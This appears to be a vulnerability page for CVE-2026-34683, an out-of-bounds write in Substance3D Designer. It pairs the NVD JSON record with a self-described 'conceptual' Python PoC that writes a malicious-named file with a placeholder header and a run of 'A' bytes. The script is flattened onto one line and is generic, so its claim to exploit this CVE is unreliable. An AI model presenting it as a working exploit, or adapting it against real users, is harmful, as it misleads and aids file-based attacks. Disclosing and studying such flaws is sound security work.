CVE-2026-34683

import struct # PoC for CVE-2026-34683 (Conceptual) # This script generates a malicious file to trigger an out-of-bounds write # by crafting a header followed by an oversized payload. def generate_malicious_file(filename): # Generic file header placeholder for Substance3D project file header = b"SBS_FILE_HEADER_MAGIC" # Vulnerable field: Size field claiming a large buffer # This tricks the parser into copying more data than allocated malicious_size = struct.pack('<I', 0x1000) # Payload to overflow the buffer (Pattern 'A' * 0x1000) payload = b"A" * 0x1000 with open(filename, 'wb') as f: f.write(header) f.write(malicious_size) f.write(payload) print(f"[+] Malicious file {filename} generated successfully.") if __name__ == "__main__": generate_malicious_file("exploit_cve_2026_34683.sbs")

{"cve": {"id": "CVE-2026-34683", "sourceIdentifier": "[email protected]", "published": "2026-05-12T19:16:31.603", "lastModified": "2026-05-13T20:16:21.083", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Substance3D - Designer versions 15.1.0 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:substance_3d_designer:*:*:*:*:*:*:*:*", "versionEndIncluding": "15.1.0", "matchCriteriaId": "02A59C2B-6B46-4A8E-A2A6-8BEF77AB7122"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/substance3d_designer/apsb26-52.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}